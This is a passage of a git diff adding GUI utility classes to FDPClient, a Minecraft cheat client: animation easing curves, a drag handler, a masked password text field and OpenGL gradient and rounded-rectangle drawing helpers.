mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.impl; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Animation; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Direction; + +public class ElasticAnimation extends Animation { + + final float easeAmount; + final float smooth; + final boolean reallyElastic; + + public ElasticAnimation(int ms, double endPoint, float elasticity, float smooth, boolean moreElasticity) { + super(ms, endPoint); + this.easeAmount = elasticity; + this.smooth = smooth; + this.reallyElastic = moreElasticity; + } + + public ElasticAnimation(int ms, double endPoint, float elasticity, float smooth, boolean moreElasticity, Direction direction) { + super(ms, endPoint, direction); + this.easeAmount = elasticity; + this.smooth = smooth; + this.reallyElastic = moreElasticity; + } + + @Override + protected double getEquation(double x) { + double x1 = Math.pow(x / duration, smooth); //Used to force input to range from 0 - 1 + double elasticity = easeAmount * .1f; + return Math.pow(2, -10 * (reallyElastic ? Math.sqrt(x1) : x1)) * Math.sin((x1 - (elasticity / 4)) * ((2 * Math.PI) / elasticity)) + 1; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/SmoothStepAnimation.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/SmoothStepAnimation.java new file mode 100644 index 0000000..bc36d73 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/SmoothStepAnimation.java @@ -0,0 +1,26 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.impl; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Animation; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Direction; + +public class SmoothStepAnimation extends Animation { + + public SmoothStepAnimation(int ms, double endPoint) { + super(ms, endPoint); + } + + public SmoothStepAnimation(int ms, double endPoint, Direction direction) { + super(ms, endPoint, direction); + } + + protected double getEquation(double x) { + double x1 = x / (double) duration; + return -2 * Math.pow(x1, 3) + (3 * Math.pow(x1, 2)); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/normal/Main.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/normal/Main.java new file mode 100644 index 0000000..2e25b35 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/normal/Main.java @@ -0,0 +1,27 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.normal; + +import net.ccbluex.liquidbounce.features.module.Module; +import net.ccbluex.liquidbounce.features.module.ModuleCategory; +import net.ccbluex.liquidbounce.features.module.ModuleManager; + +import java.util.List; +import java.util.stream.Collectors; + +public class Main{ + + public static int categoryCount; + + public static boolean reloadModules; + + public static float allowedClickGuiHeight = 300; + + public static List<Module> getModulesInCategory(ModuleCategory c, ModuleManager moduleManager) { + return moduleManager.getModules().stream().filter(m -> m.getCategory() == c).collect(Collectors.toList()); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/normal/Screen.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/normal/Screen.java new file mode 100644 index 0000000..569331a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/normal/Screen.java @@ -0,0 +1,20 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.normal; + +public interface Screen extends Utils { + + void initGui(); + + void keyTyped(char typedChar, int keyCode); + + void drawScreen(int mouseX, int mouseY); + + void mouseClicked(int mouseX, int mouseY, int button); + + void mouseReleased(int mouseX, int mouseY, int state); + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/normal/TimerUtil.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/normal/TimerUtil.java new file mode 100644 index 0000000..e8081e0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/normal/TimerUtil.java @@ -0,0 +1,26 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.normal; + +public class TimerUtil { + + public long lastMS = System.currentTimeMillis(); + + + public boolean hasTimeElapsed(long time) { + return System.currentTimeMillis() - lastMS > time; + } + + + public long getTime() { + return System.currentTimeMillis() - lastMS; + } + + public void setTime(long time) { + lastMS = time; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/normal/Utils.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/normal/Utils.java new file mode 100644 index 0000000..5e6729b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/normal/Utils.java @@ -0,0 +1,13 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.normal; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.FontRenderer; +public interface Utils { + Minecraft mc = Minecraft.getMinecraft(); + FontRenderer fr = mc.fontRendererObj; +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/objects/Drag.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/objects/Drag.java new file mode 100644 index 0000000..b60648a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/objects/Drag.java @@ -0,0 +1,69 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.objects; + +public class Drag { + + private float xPos, yPos; + private float startX, startY; + private boolean dragging; + + public Drag(float initialXVal, float initialYVal) { + this.xPos = initialXVal; + this.yPos = initialYVal; + } + + public float getX() { + return xPos; + } + + public void setX(float x) { + this.xPos = x; + } + + public float getY() { + return yPos; + } + + public void setY(float y) { + this.yPos = y; + } + + public final void onDraw(int mouseX, int mouseY) { + if (dragging) { + xPos = (mouseX - startX); + yPos = (mouseY - startY); + } + } + + public final void onDrawNegX(int mouseX, int mouseY) { + if (dragging) { + xPos = -(mouseX - startX); + yPos = (mouseY - startY); + } + } + + public final void onClick(int mouseX, int mouseY, int button, boolean canDrag) { + if (button == 0 && canDrag) { + dragging = true; + startX = (int) (mouseX - xPos); + startY = (int) (mouseY - yPos); + } + } + + public final void onClickAddX(int mouseX, int mouseY, int button, boolean canDrag) { + if (button == 0 && canDrag) { + dragging = true; + startX = (int) (mouseX + xPos); + startY = (int) (mouseY - yPos); + } + } + + public final void onRelease(int button) { + if (button == 0) dragging = false; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/objects/PasswordField.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/objects/PasswordField.java new file mode 100644 index 0000000..6b35a2c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/objects/PasswordField.java @@ -0,0 +1,619 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.objects; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontRenderer; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.gui.GuiPageButtonList; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.Tessellator; +import net.minecraft.client.renderer.WorldRenderer; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import net.minecraft.util.ChatAllowedCharacters; +import net.minecraft.util.MathHelper; + +import java.util.function.Predicate; + +public class PasswordField extends Gui { + + private final int id; + private final int height; + private final FontRenderer fontRenderer; + /** + * The width of this text field. + */ + public final int width; + public int bottomBarColor = -1; + public int textColor = -1; + public final int cursorColor = -1; + public final int xPosition; + public final int yPosition; + public final String placeholder; + public double placeHolderTextX; + /** + * Has the current text being edited on the textbox. + */ + private String text = ""; + private int maxStringLength = 32; + private int cursorCounter; + private boolean enableBackgroundDrawing = true; + /** + * if true the textbox can lose focus by clicking elsewhere on the screen + */ + private boolean canLoseFocus = true; + /** + * If this value is true along with isEnabled, keyTyped will process the keys. + */ + private boolean isFocused; + /** + * If this value is true along with isFocused, keyTyped will process the keys. + */ + private boolean isEnabled = true; + /** + * The current character index that should be used as start of the rendered text. + */ + private int lineScrollOffset; + private int cursorPosition; + /** + * other selection position, maybe the same as the cursor + */ + private int selectionEnd; + /** + * True if this textbox is visible + */ + private boolean visible = true; + private GuiPageButtonList.GuiResponder field_175210_x; + private Predicate<String> field_175209_y = s -> true; + + public PasswordField(String placeholder, int componentId, int x, int y, int par5Width, int par6Height, FontRenderer fr) { + this.placeholder = placeholder; + this.id = componentId; + this.xPosition = x; + this.yPosition = y; + this.width = par5Width; + this.height = par6Height; + this.fontRenderer = fr; + placeHolderTextX = (xPosition + width) / 2f; + } + + /** + * Returns the contents of the textbox + */ + public String getText() { + return this.text; + } + + /** + * Sets the text of the textbox + */ + public void setText(String p_146180_1_) { + if (this.field_175209_y.test(p_146180_1_)) { + if (p_146180_1_.length() > this.maxStringLength) { + this.text = p_146180_1_.substring(0, this.maxStringLength); + } else { + this.text = p_146180_1_; + } + + this.setCursorPositionEnd(); + } + } + + /** + * returns the text between the cursor and selectionEnd + */ + public String getSelectedText() { + int i = Math.min(this.cursorPosition, this.selectionEnd); + int j = Math.max(this.cursorPosition, this.selectionEnd); + return this.text.substring(i, j); + } + + /** + * replaces selected text, or inserts text at the position on the cursor + */ + public void writeText(String text) { + String s = ""; + String s1 = ChatAllowedCharacters.filterAllowedCharacters(text); + int i = Math.min(this.cursorPosition, this.selectionEnd); + int j = Math.max(this.cursorPosition, this.selectionEnd); + int k = this.maxStringLength - this.text.length() - (i - j); + int l; + + if (this.text.length() > 0) { + s = s + this.text.substring(0, i); + } + + if (k < s1.length()) { + s = s + s1.substring(0, k); + l = k; + } else { + s = s + s1; + l = s1.length(); + } + + if (this.text.length() > 0 && j < this.text.length()) { + s = s + this.text.substring(j); + } + + if (this.field_175209_y.test(s)) { + this.text = s; + this.moveCursorBy(i - this.selectionEnd + l); + + if (this.field_175210_x != null) { + this.field_175210_x.func_175319_a(this.id, this.text); + } + } + } + + /** + * Deletes the specified number of words starting at the cursor position. Negative numbers will delete words left of + * the cursor. + */ + public void deleteWords(int p_146177_1_) { + if (this.text.length() != 0) { + if (this.selectionEnd != this.cursorPosition) { + this.writeText(""); + } else { + this.deleteFromCursor(this.getNthWordFromCursor(p_146177_1_) - this.cursorPosition); + } + } + } + + public void drawTextBox() { + drawTextBox(text, false); + } + + /** + * delete the selected text, otherwsie deletes characters from either side of the cursor. params: delete num + */ + public void deleteFromCursor(int p_146175_1_) { + if (this.text.length() != 0) { + if (this.selectionEnd != this.cursorPosition) { + this.writeText(""); + } else { + boolean flag = p_146175_1_ < 0; + int i = flag ? this.cursorPosition + p_146175_1_ : this.cursorPosition; + int j = flag ? this.cursorPosition : this.cursorPosition + p_146175_1_; + String s = ""; + + if (i >= 0) { + s = this.text.substring(0, i); + } + + if (j < this.text.length()) { + s = s + this.text.substring(j); + } + + if (this.field_175209_y.test(s)) { + this.text = s; + + if (flag) { + this.moveCursorBy(p_146175_1_); + } + + if (this.field_175210_x != null) { + this.field_175210_x.func_175319_a(this.id, this.text); + } + } + } + } + } + + /** + * see @getNthNextWordFromPos() params: N, position + */ + public int getNthWordFromCursor(int p_146187_1_) { + return this.getNthWordFromPos(p_146187_1_, this.getCursorPosition()); + } + + /** + * gets the position of the nth word. N may be negative, then it looks backwards. params: N, position + */ + public int getNthWordFromPos(int p_146183_1_, int p_146183_2_) { + return this.func_146197_a(p_146183_1_, p_146183_2_, true); + } + + public int func_146197_a(int p_146197_1_, int p_146197_2_, boolean p_146197_3_) { + int i = p_146197_2_; + boolean flag = p_146197_1_ < 0; + int j = Math.abs(p_146197_1_); + + for (int k = 0; k < j; ++k) { + if (!flag) { + int l = this.text.length(); + i = this.text.indexOf(32, i); + + if (i == -1) { + i = l; + } else { + while (p_146197_3_ && i < l && this.text.charAt(i) == 32) { + ++i; + } + } + } else { + while (p_146197_3_ && i > 0 && this.text.charAt(i - 1) == 32) { + --i; + } + + while (i > 0 && this.text.charAt(i - 1) != 32) { + --i; + } + } + } + + return i; + } + + /** + * Moves the text cursor by a specified number of characters and clears the selection + */ + public void moveCursorBy(int p_146182_1_) { + this.setCursorPosition(this.selectionEnd + p_146182_1_); + } + + /** + * sets the cursors position to the beginning + */ + public void setCursorPositionZero() { + this.setCursorPosition(0); + } + + /** + * sets the cursors position to after the text + */ + public void setCursorPositionEnd() { + this.setCursorPosition(this.text.length()); + } + + /** + * Call this method from your GuiScreen to process the keys into the textbox + */ + public void textboxKeyTyped(char p_146201_1_, int p_146201_2_) { + if (!this.isFocused) { + } else if (GuiScreen.isKeyComboCtrlA(p_146201_2_)) { + this.setCursorPositionEnd(); + this.setSelectionPos(0); + } else if (GuiScreen.isKeyComboCtrlC(p_146201_2_)) { + GuiScreen.setClipboardString(this.getSelectedText()); + } else if (GuiScreen.isKeyComboCtrlV(p_146201_2_)) { + if (this.isEnabled) { + this.writeText(GuiScreen.getClipboardString()); + } + + } else if (GuiScreen.isKeyComboCtrlX(p_146201_2_)) { + GuiScreen.setClipboardString(this.getSelectedText()); + + if (this.isEnabled) { + this.writeText(""); + } + + } else { + switch (p_146201_2_) { + case 14: + if (GuiScreen.isCtrlKeyDown()) { + if (this.isEnabled) { + this.deleteWords(-1); + } + } else if (this.isEnabled) { + this.deleteFromCursor(-1); + } + + return; + + case 199: + if (GuiScreen.isShiftKeyDown()) { + this.setSelectionPos(0); + } else { + this.setCursorPositionZero(); + } + + return; + + case 203: + if (GuiScreen.isShiftKeyDown()) { + if (GuiScreen.isCtrlKeyDown()) { + this.setSelectionPos(this.getNthWordFromPos(-1, this.getSelectionEnd())); + } else { + this.setSelectionPos(this.getSelectionEnd() - 1); + } + } else if (GuiScreen.isCtrlKeyDown()) { + this.setCursorPosition(this.getNthWordFromCursor(-1)); + } else { + this.moveCursorBy(-1); + } + + return; + + case 205: + if (GuiScreen.isShiftKeyDown()) { + if (GuiScreen.isCtrlKeyDown()) { + this.setSelectionPos(this.getNthWordFromPos(1, this.getSelectionEnd())); + } else { + this.setSelectionPos(this.getSelectionEnd() + 1); + } + } else if (GuiScreen.isCtrlKeyDown()) { + this.setCursorPosition(this.getNthWordFromCursor(1)); + } else { + this.moveCursorBy(1); + } + + return; + + case 207: + if (GuiScreen.isShiftKeyDown()) { + this.setSelectionPos(this.text.length()); + } else { + this.setCursorPositionEnd(); + } + + return; + + case 211: + if (GuiScreen.isCtrlKeyDown()) { + if (this.isEnabled) { + this.deleteWords(1); + } + } else if (this.isEnabled) { + this.deleteFromCursor(1); + } + + return; + + default: + if (ChatAllowedCharacters.isAllowedCharacter(p_146201_1_)) { + if (this.isEnabled) { + this.writeText(Character.toString(p_146201_1_)); + } + + } else { + } + } + } + } + + /** + * Args: x, y, buttonClicked + */ + public void mouseClicked(int p_146192_1_, int p_146192_2_, int p_146192_3_) { + boolean flag = p_146192_1_ >= this.xPosition && p_146192_1_ < this.xPosition + this.width && p_146192_2_ >= this.yPosition && p_146192_2_ < this.yPosition + this.height; + + if (this.canLoseFocus) { + this.setFocused(flag); + } + + if (this.isFocused && flag && p_146192_3_ == 0) { + int i = p_146192_1_ - this.xPosition; + + if (this.enableBackgroundDrawing) { + i -= 4; + } + + String s = fontRenderer.trimStringToWidth(this.text.substring(this.lineScrollOffset), this.getWidth()); + this.setCursorPosition(fontRenderer.trimStringToWidth(s, i).length() + this.lineScrollOffset); + } + } + + /** + * Draws the textbox + */ + public void drawTextBox(String text, boolean password) { + if (password) + text = text.replaceAll(".", "*"); + + if (this.getVisible()) { + if (this.getEnableBackgroundDrawing()) { + GlStateManager.color(1, 1, 1, 1); + drawRect(this.xPosition, this.yPosition + this.height, this.xPosition + this.width, this.yPosition + this.height + 1, bottomBarColor); + } + + GlStateManager.color(1, 1, 1, 1); + int i = textColor; + int j = this.cursorPosition - this.lineScrollOffset; + int k = this.selectionEnd - this.lineScrollOffset; + String s = fontRenderer.trimStringToWidth(text.substring(this.lineScrollOffset), this.getWidth()); + boolean flag = j >= 0 && j <= s.length(); + boolean flag1 = this.isFocused && this.cursorCounter / 6 % 2 == 0 && flag; + int l = this.enableBackgroundDrawing ? this.xPosition + 4 : this.xPosition; + int i1 = this.enableBackgroundDrawing ? this.yPosition + (this.height - 8) / 4 : this.yPosition; + int j1 = l; + + if (!isFocused && placeholder != null && text.isEmpty()) { + fontRenderer.drawCenteredString(placeholder, (float) placeHolderTextX, i1, textColor); + } + + if (k > s.length()) { + k = s.length(); + } + + if (s.length() > 0) { + String s1 = flag ? s.substring(0, j) : s; + j1 = (int) fontRenderer.drawString(s1, (float) l, (float) i1, i); + } + + boolean flag2 = this.cursorPosition < text.length() || text.length() >= this.getMaxStringLength(); + int k1 = j1; + + if (!flag) { + k1 = j > 0 ? l + this.width : l; + } else if (flag2) { + k1 = j1 - 1; + --j1; + } + + if (s.length() > 0 && flag && j < s.length()) { + GlStateManager.color(1, 1, 1, 1); + j1 = (int) fontRenderer.drawString(s.substring(j), (float) j1 + 6, (float) i1, i); + } + + if (flag1) { + GlStateManager.color(1, 1, 1, 1); + if (flag2) { + Gui.drawRect(k1 + 4, i1 - 1, k1 + 5, i1 + 1 + fontRenderer.getHeight(), this.cursorColor); + } else { + fontRenderer.drawString("|", (float) k1 + 4, (float) i1, textColor); + } + } + + if (k != j) { + int l1 = l + fontRenderer.stringWidth(s.substring(0, k)); + this.drawCursorVertical(k1, i1 - 1, l1 - 1, i1 + 1 + fontRenderer.getHeight()); + } + + GlStateManager.color(1, 1, 1, 1); + } + } + + /** + * draws the vertical line cursor in the textbox + */ + private void drawCursorVertical(int p_146188_1_, int p_146188_2_, int p_146188_3_, int p_146188_4_) { + if (p_146188_1_ < p_146188_3_) { + int i = p_146188_1_; + p_146188_1_ = p_146188_3_; + p_146188_3_ = i; + } + + if (p_146188_2_ < p_146188_4_) { + int j = p_146188_2_; + p_146188_2_ = p_146188_4_; + p_146188_4_ = j; + } + + if (p_146188_3_ > this.xPosition + this.width) { + p_146188_3_ = this.xPosition + this.width; + } + + if (p_146188_1_ > this.xPosition + this.width) { + p_146188_1_ = this.xPosition + this.width; + } + + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + GlStateManager.color(0.0F, 0.0F, 255.0F, 255.0F); + GlStateManager.disableTexture2D(); + GlStateManager.enableColorLogic(); + GlStateManager.colorLogicOp(5387); + worldrenderer.begin(7, DefaultVertexFormats.POSITION_COLOR); + worldrenderer.pos(p_146188_1_, p_146188_4_, 0.0D).endVertex(); + worldrenderer.pos(p_146188_3_, p_146188_4_, 0.0D).endVertex(); + worldrenderer.pos(p_146188_3_, p_146188_2_, 0.0D).endVertex(); + worldrenderer.pos(p_146188_1_, p_146188_2_, 0.0D).endVertex(); + tessellator.draw(); + GlStateManager.disableColorLogic(); + GlStateManager.enableTexture2D(); + } + + /** + * returns the maximum number of character that can be contained in this textbox + */ + public int getMaxStringLength() { + return this.maxStringLength; + } + + + /** + * returns the current position of the cursor + */ + public int getCursorPosition() { + return this.cursorPosition; + } + + /** + * sets the position of the cursor to the provided index + */ + public void setCursorPosition(int p_146190_1_) { + this.cursorPosition = p_146190_1_; + int i = this.text.length(); + this.cursorPosition = MathHelper.clamp_int(this.cursorPosition, 0, i); + this.setSelectionPos(this.cursorPosition); + } + + /** + * get enable drawing background and outline + */ + public boolean getEnableBackgroundDrawing() { + return this.enableBackgroundDrawing; + } + + /** + * Getter for the focused field + */ + public boolean isFocused() { + return this.isFocused; + } + + /** + * Sets focus to this gui element + */ + public void setFocused(boolean p_146195_1_) { + if (p_146195_1_ && !this.isFocused) { + this.cursorCounter = 0; + } + + this.isFocused = p_146195_1_; + } + + /** + * the side of the selection that is not the cursor, may be the same as the cursor + */ + public int getSelectionEnd() { + return this.selectionEnd; + } + + /** + * returns the width of the textbox depending on if background drawing is enabled + */ + public int getWidth() { + return this.getEnableBackgroundDrawing() ? this.width - 8 : this.width; + } + + /** + * Sets the position of the selection anchor (i.e. position the selection was started at) + */ + public void setSelectionPos(int p_146199_1_) { + int i = this.text.length(); + + if (p_146199_1_ > i) { + p_146199_1_ = i; + } + + if (p_146199_1_ < 0) { + p_146199_1_ = 0; + } + + this.selectionEnd = p_146199_1_; + + if (fontRenderer != null) { + if (this.lineScrollOffset > i) { + this.lineScrollOffset = i; + } + + int j = this.getWidth(); + String s = fontRenderer.trimStringToWidth(this.text.substring(this.lineScrollOffset), j); + int k = s.length() + this.lineScrollOffset; + + if (p_146199_1_ == this.lineScrollOffset) { + this.lineScrollOffset -= fontRenderer.trimStringToWidth(this.text, j, true).length(); + } + + if (p_146199_1_ > k) { + this.lineScrollOffset += p_146199_1_ - k; + } else if (p_146199_1_ <= this.lineScrollOffset) { + this.lineScrollOffset -= this.lineScrollOffset - p_146199_1_; + } + + this.lineScrollOffset = MathHelper.clamp_int(this.lineScrollOffset, 0, i); + } + } + + /** + * returns true if this textbox is visible + */ + public boolean getVisible() { + return this.visible; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/DrRenderUtils.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/DrRenderUtils.java new file mode 100644 index 0000000..388baff --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/DrRenderUtils.java @@ -0,0 +1,308 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.render; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Animation; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.normal.Utils; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.Tessellator; +import net.minecraft.client.renderer.WorldRenderer; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import org.lwjgl.opengl.GL11; + +import java.awt.*; + +import static org.lwjgl.opengl.GL11.*; + +public class DrRenderUtils implements Utils { + /** + * Draws a textured rectangle at z = 0. Args: x, y, u, v, width, height, textureWidth, textureHeight + */ + public static void drawModalRectWithCustomSizedTexture(float x, float y, float u, float v, float width, float height, float textureWidth, float textureHeight) { + float f = 1.0F / textureWidth; + float f1 = 1.0F / textureHeight; + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + worldrenderer.begin(7, DefaultVertexFormats.POSITION_TEX); + worldrenderer.pos(x, y + height, 0.0D).tex(u * f, (v + height) * f1).endVertex(); + worldrenderer.pos(x + width, y + height, 0.0D).tex((u + width) * f, (v + height) * f1).endVertex(); + worldrenderer.pos(x + width, y, 0.0D).tex((u + width) * f, v * f1).endVertex(); + worldrenderer.pos(x, y, 0.0D).tex(u * f, v * f1).endVertex(); + tessellator.draw(); + } + public static void drawGradientRect2(double x, double y, double width, double height, int startColor, int endColor) { + drawGradientRect(x, y, x + width, y + height, startColor, endColor); + } + public static int fadeBetween(int startColour, int endColour, double progress) { + if (progress > 1) progress = 1 - progress % 1; + return fadeTo(startColour, endColour, progress); + } + public static int fadeTo(int startColour, int endColour, double progress) { + double invert = 1.0 - progress; + int r = (int) ((startColour >> 16 & 0xFF) * invert + + (endColour >> 16 & 0xFF) * progress); + int g = (int) ((startColour >> 8 & 0xFF) * invert + + (endColour >> 8 & 0xFF) * progress); + int b = (int) ((startColour & 0xFF) * invert + + (endColour & 0xFF) * progress); + int a = (int) ((startColour >> 24 & 0xFF) * invert + + (endColour >> 24 & 0xFF) * progress); + return ((a & 0xFF) << 24) | + ((r & 0xFF) << 16) | + ((g & 0xFF) << 8) | + (b & 0xFF); + } + public static void drawGradientRect(double left, double top, double right, double bottom, int startColor, int endColor) { + float f = (float) (startColor >> 24 & 255) / 255.0F; + float f1 = (float) (startColor >> 16 & 255) / 255.0F; + float f2 = (float) (startColor >> 8 & 255) / 255.0F; + float f3 = (float) (startColor & 255) / 255.0F; + float f4 = (float) (endColor >> 24 & 255) / 255.0F; + float f5 = (float) (endColor >> 16 & 255) / 255.0F; + float f6 = (float) (endColor >> 8 & 255) / 255.0F; + float f7 = (float) (endColor & 255) / 255.0F; + GlStateManager.disableTexture2D(); + GlStateManager.enableBlend(); + GlStateManager.disableAlpha(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.shadeModel(7425); + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + worldrenderer.begin(7, DefaultVertexFormats.POSITION_COLOR); + worldrenderer.pos(right, top, zLevel).color(f1, f2, f3, f).endVertex(); + worldrenderer.pos(left, top, zLevel).color(f1, f2, f3, f).endVertex(); + worldrenderer.pos(left, bottom, zLevel).color(f5, f6, f7, f4).endVertex(); + worldrenderer.pos(right, bottom, zLevel).color(f5, f6, f7, f4).endVertex(); + tessellator.draw(); + GlStateManager.shadeModel(7424); + GlStateManager.disableBlend(); + GlStateManager.enableAlpha(); + GlStateManager.enableTexture2D(); + } + + public static float zLevel; + public static void drawGradientRectSideways2(double x, double y, double width, double height, int startColor, int endColor) { + drawGradientRectSideways(x, y, x + width, y + height, startColor, endColor); + } + + public static void drawGradientRectSideways(double left, double top, double right, double bottom, int startColor, int endColor) { + float f = (float) (startColor >> 24 & 255) / 255.0F; + float f1 = (float) (startColor >> 16 & 255) / 255.0F; + float f2 = (float) (startColor >> 8 & 255) / 255.0F; + float f3 = (float) (startColor & 255) / 255.0F; + float f4 = (float) (endColor >> 24 & 255) / 255.0F; + float f5 = (float) (endColor >> 16 & 255) / 255.0F; + float f6 = (float) (endColor >> 8 & 255) / 255.0F; + float f7 = (float) (endColor & 255) / 255.0F; + GlStateManager.disableTexture2D(); + GlStateManager.enableBlend(); + GlStateManager.disableAlpha(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.shadeModel(7425); + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + worldrenderer.begin(7, DefaultVertexFormats.POSITION_COLOR); + worldrenderer.pos(right, top, zLevel).color(f5, f6, f7, f4).endVertex(); + worldrenderer.pos(left, top, zLevel).color(f1, f2, f3, f).endVertex(); + worldrenderer.pos(left, bottom, zLevel).color(f1, f2, f3, f).endVertex(); + worldrenderer.pos(right, bottom, zLevel).color(f5, f6, f7, f4).endVertex(); + tessellator.draw(); + GlStateManager.shadeModel(7424); + GlStateManager.disableBlend(); + GlStateManager.enableAlpha(); + GlStateManager.enableTexture2D(); + } + public static void scissor(double x, double y, double width, double height) { + ScaledResolution sr = new ScaledResolution(mc); + final double scale = sr.getScaleFactor(); + double finalHeight = height * scale; + double finalY = (sr.getScaledHeight() - y) * scale; + double finalX = x * scale; + double finalWidth = width * scale; + glScissor((int) finalX, (int) (finalY - finalHeight), (int) finalWidth, (int) finalHeight); + } + public static int interpolateColor(int color1, int color2, float amount) { + amount = Math.min(1, Math.max(0, amount)); + Color cColor1 = new Color(color1); + Color cColor2 = new Color(color2); + return interpolateColorC(cColor1, cColor2, amount).getRGB(); + } + + // Bad rounded rect method but the shader one requires scaling that sucks + public static void renderRoundedRect(float x, float y, float width, float height, float radius, int color) { + drawGoodCircle(x + radius, y + radius, radius, color); + drawGoodCircle(x + width - radius, y + radius, radius, color); + drawGoodCircle(x + radius, y + height - radius, radius, color); + drawGoodCircle(x + width - radius, y + height - radius, radius, color); + + drawRect2(x + radius, y, width - radius * 2, height, color); + drawRect2(x, y + radius, width, height - radius * 2, color); + } + + public static Color darker(Color color, float FACTOR) { + return new Color(Math.max((int) (color.getRed() * FACTOR), 0), + Math.max((int) (color.getGreen() * FACTOR), 0), + Math.max((int) (color.getBlue() * FACTOR), 0), + color.getAlpha()); + } + // Arrow for clickgui + public static void drawClickGuiArrow(float x, float y, float size, Animation animation, int color) { + glTranslatef(x, y, 0); + GLUtil.setup2DRendering(() -> GLUtil.render(GL_TRIANGLE_STRIP, () -> { + color(color); + + + double interpolation = interpolate(0.0, size / 2.0, animation.getOutput()); + if (animation.getOutput() >= .48) { + glVertex2d(size / 2f, interpolate(size / 2.0, 0.0, animation.getOutput())); + } + glVertex2d(0, interpolation); + + if (animation.getOutput() < 